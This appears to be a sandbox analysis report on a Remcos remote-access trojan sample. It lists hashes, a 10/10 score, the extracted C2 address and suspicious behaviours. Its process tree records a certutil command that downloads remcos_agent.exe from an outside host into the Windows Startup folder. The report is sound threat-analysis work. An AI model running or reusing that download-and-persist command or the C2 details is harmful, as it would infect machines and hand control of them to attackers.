Overview

overview

10

Static

static

1c76ef4a3f...75.exe

windows7_x64

10

1c76ef4a3f...75.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    10/11/2020, 11:07

Sharing

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General

  • Target
    1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
  • Size 961KB
  • Sample201110-llc83kfvvs
  • SHA256 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675
  • MD5 SHA1 SHA512
Score
10/10
remcosrat

Malware Config

Extracted

Family

  • remcos

C2

  • www.rmagent.biz:7181

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
    "C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:364
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
          PID:1964
      • C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
        "C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        PID:2016

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

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          Downloads

          memory/1712-5-0x000007FEF6EA0000-0x000007FEF711A000-memory.dmp
          Download

          memory/2016-3-0x0000000000080000-0x00000000000A0000-memory.dmp
          Download